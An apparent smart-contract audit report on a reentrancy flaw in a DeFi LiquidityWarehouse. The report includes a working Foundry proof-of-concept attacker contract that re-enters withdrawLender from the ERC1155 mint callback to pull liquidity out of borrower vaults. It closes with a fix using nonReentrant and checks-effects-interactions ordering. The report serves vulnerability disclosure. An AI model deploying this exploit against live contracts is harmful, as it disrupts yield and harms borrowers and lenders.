# Title
While doing a deposit, lenders can reenter the withdrawLender() while their LENDER_LP_TOKENS are been minted to force the LiquidityWarehouse to withdraw the liquidity from the withdrawTargets

## Summary
Malicious users can trick the LiquidityWarehouses to withdraw liquidity from the borrower's vaults as if the LW contract had been deactivated.

## Vulnerability Detail
When a lender does a deposit using the [`LiquidityWarehouse.depositLender() function`](https://github.com/sherlock-audit/2023-12-copra-finance-stalinMacias/blob/main/copra-v3-audit-1/src/LiquidityWarehouse.sol#L136-L155), the LiquidityWarehouse contract mints an equivalent amount LENDER_LP_TOKENS to the depositor for the amount of asset been deposited. When the LP_TOKENS are been minted, the [`ERC1155._mint() function`](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/281550b71c3df9a83e6b80ceefc700852c287570/contracts/token/ERC1155/ERC1155.sol#L263-L278) runs a couple of checks to validate that the LP_TOKENS were received, one of those checks is to **[call the `onERC1155Received() function`](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/281550b71c3df9a83e6b80ceefc700852c287570/contracts/token/ERC1155/ERC1155.sol#L447-L466)** on the depositor's account if the depositor is a contract.
- When the execution is forwarded to the caller, the caller contract can re-enter the [`LiquidityWarehouse.withdrawLender() function`](https://github.com/sherlock-audit/2023-12-copra-finance-stalinMacias/blob/main/copra-v3-audit-1/src/LiquidityWarehouse.sol#L179-L201). **The problem here is that the amount of assets been deposited has not been transfered into the LW contract (the assets to be deposited are pulled after the LP_TOKENS are minted)**. So, when the caller contract re-enters the [`LiquidityWarehouse.withdrawLender() function`](https://github.com/sherlock-audit/2023-12-copra-finance-stalinMacias/blob/main/copra-v3-audit-1/src/LiquidityWarehouse.sol#L179-L201), the LW will be forced to withdraw the missing liquidity from the specified withdrawTargets, thus, pulling the liquidity from the borrower's vaults, thus, stopping the yield accrual process for all the amount of withdrawn liquidity.

I coded a PoC using the [`SteadefiIntegrationTest.t.sol`](https://github.com/sherlock-audit/2023-12-copra-finance-stalinMacias/blob/main/copra-v3-audit-1/test/integration/SteadefiIntegrationTest.t.sol) test file, help me to add the below changes on this test file:

<details>
<summary><b>Coded PoC</b></summary>

```solidity
...

+ import {console2} from "forge-std/Test.sol";

...

contract SteadefiIntegrationTest_WhenLiquidityDeployed is SteadefiIntegrationTest {

  ...

  function test_ReenterWithdrawLenderWhileDepositingPoC() public {
        //@audit-info => LENDER_ONE has alrady deposited on the LW, and that liquidity has been distributed to the borrower's vaults!

        uint256 assetValueDeployedBeforeOnETH_USDC = s_usdcLw.getDeployedAssetValue(ETH_USDC_USDC_LENDING_VAULT);

        address maliciousContract = address(new AttackerContract(address(s_usdcLw)));

        changePrank(USDC_WHALE);
        s_usdc.transfer(maliciousContract, LENDER_USDC_DEPOSIT_AMOUNT);

        uint256 attackerLoanTokenBalanceBefore = s_usdc.balanceOf(address(maliciousContract));

        changePrank(maliciousContract);
        s_usdc.approve(address(s_usdcLw), LENDER_USDC_DEPOSIT_AMOUNT);
        s_usdcLw.depositLender(LENDER_USDC_DEPOSIT_AMOUNT / 2);

        uint256 attackerLoanTokenBalanceAfter = s_usdc.balanceOf(address(maliciousContract));
        assert(s_usdcLw.balanceOf(maliciousContract, s_usdcLw.LENDER_LP_TOKEN_ID()) == 0);

        uint256 assetValueDeployedAfterOnETH_USDC = s_usdcLw.getDeployedAssetValue(ETH_USDC_USDC_LENDING_VAULT);

        console2.log("assetValueDeployedBeforeOnETH_USDC: ", assetValueDeployedBeforeOnETH_USDC);
        console2.log("assetValueDeployedAfterOnETH_USDC : ", assetValueDeployedAfterOnETH_USDC);

        assert(assetValueDeployedAfterOnETH_USDC < assetValueDeployedBeforeOnETH_USDC);
  }

}

//@audit-info => Add the below lines of code at the end in the same file!

import {IntegrationTestConstants} from "./IntegrationTestConstants.t.sol";

interface IERC1155Receiver {
    function onERC1155Received(
        address operator,
        address from,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) external returns (bytes4);
}
contract AttackerContract is IntegrationTestConstants {
    SteadefiLiquidityWarehouse internal s_usdcLw;

    constructor(address liquidityWharehouse) {
        s_usdcLw = SteadefiLiquidityWarehouse(liquidityWharehouse);
    }

    function onERC1155Received(address, address, uint256, uint256, bytes calldata) external returns (bytes4) {
        if(msg.sender == address(s_usdcLw)) {
            uint256 LENDER_LP_TOKEN_ID = 0;
            uint256 totalShares = s_usdcLw.balanceOf(address(this), LENDER_LP_TOKEN_ID);

            address[] memory withdrawTargets = new address[](1);
            withdrawTargets[0] = ETH_USDC_USDC_LENDING_VAULT;
            s_usdcLw.withdrawLender(totalShares,withdrawTargets,bytes(""));
        }         
        return IERC1155Receiver.onERC1155Received.selector;
    }
}
```
<br>
</details>

<br>

**Before running the PoC**, help me to add this helper function on the [`LiquidityWarehouse contract`](https://github.com/sherlock-audit/2023-12-copra-finance-stalinMacias/blob/main/copra-v3-audit-1/src/LiquidityWarehouse.sol), it is used on the PoC to query the exact liquidity that is deployed on a specific vault
```solidity
abstract contract LiquidityWarehouse ... {
  ...
  ...
  ...

  //@audit-info => Add this helper function before running the PoC!
  function getDeployedAssetValue(address withdrawTarget) external view virtual returns (uint256) {
      return _getDeployedAssetValue(withdrawTarget);
  }
}
```

<br>

Run the test with the following command: `forge test --match-test test_ReenterWithdrawLenderWhileDepositingPoC -vvv`
- Expected output after running the PoC
<details>
<summary><b>PoC Output</b></summary>

```solidity
Ran 1 test for test/integration/SteadefiIntegrationTest.t.sol:SteadefiIntegrationTest_WhenLiquidityDeployed
[PASS] test_ReenterWithdrawLenderWhileDepositingPoC() (gas: 720694)
Logs:
  assetValueDeployedBeforeOnETH_USDC:  2999997933
  assetValueDeployedAfterOnETH_USDC :  1894734775

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 838.45ms (2.58ms CPU time)

Ran 1 test suite in 2.56s (838.45ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```
<br>

</details>


## Impact
By withdrawing liquidity from the borrower's vaults, the accrual yield process is interrumpted because the liquidity is pulled out from the vaults where is generating yield and is left in the LW where is doing nothing, this causes the borrower to earn less yield because the interests on the lender's deposits are still accruing even though the liquidity is not actively generating yield (it could also cause that the borrower needs to cover the generated interests on the lender deposits if the interests to pay are greater than the generated yield on the vaults).

## Code Snippet

https://github.com/sherlock-audit/2023-12-copra-finance-stalinMacias/blob/main/copra-v3-audit-1/src/LiquidityWarehouse.sol#L143-L148

https://github.com/sherlock-audit/2023-12-copra-finance-stalinMacias/blob/main/copra-v3-audit-1/src/LiquidityWarehouse.sol#L179-L201

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/281550b71c3df9a83e6b80ceefc700852c287570/contracts/token/ERC1155/ERC1155.sol#L447-L466

## Tool used
Manual Review & Foundry to code the PoC

## Recommendation
The fix for this issue is to add the `nonReentrant()` modifier to the [`LiquidityWarehouse.withdrawLender() function`](https://github.com/sherlock-audit/2023-12-copra-finance-stalinMacias/blob/main/copra-v3-audit-1/src/LiquidityWarehouse.sol#L179-L201). In this way, it will be impossible to reenter the function while the LENDER_LP_TOKENS are been minted for a lender's deposit. Also, I'd recommend to follow the CEI pattern when doing deposits, first pull the assets from the depositor and then mint the LP_TOKENS.

```solidity
+ function withdrawLender(uint256 shareAmount, address[] calldata withdrawTargets, bytes calldata data) external nonReentrant {
      ...
  }


  function depositLender(uint256 depositAmount) external whenNotPaused nonReentrant {
      ...

+     s_terms.asset.safeTransferFrom(msg.sender, address(this), depositAmount);

      _mint(
          msg.sender,
          LENDER_LP_TOKEN_ID,
          _convertToShares(totalSupply(LENDER_LP_TOKEN_ID), totalAssetAmount, depositAmount),
          bytes("")
      );
-     s_terms.asset.safeTransferFrom(msg.sender, address(this), depositAmount);

      ...
  }
```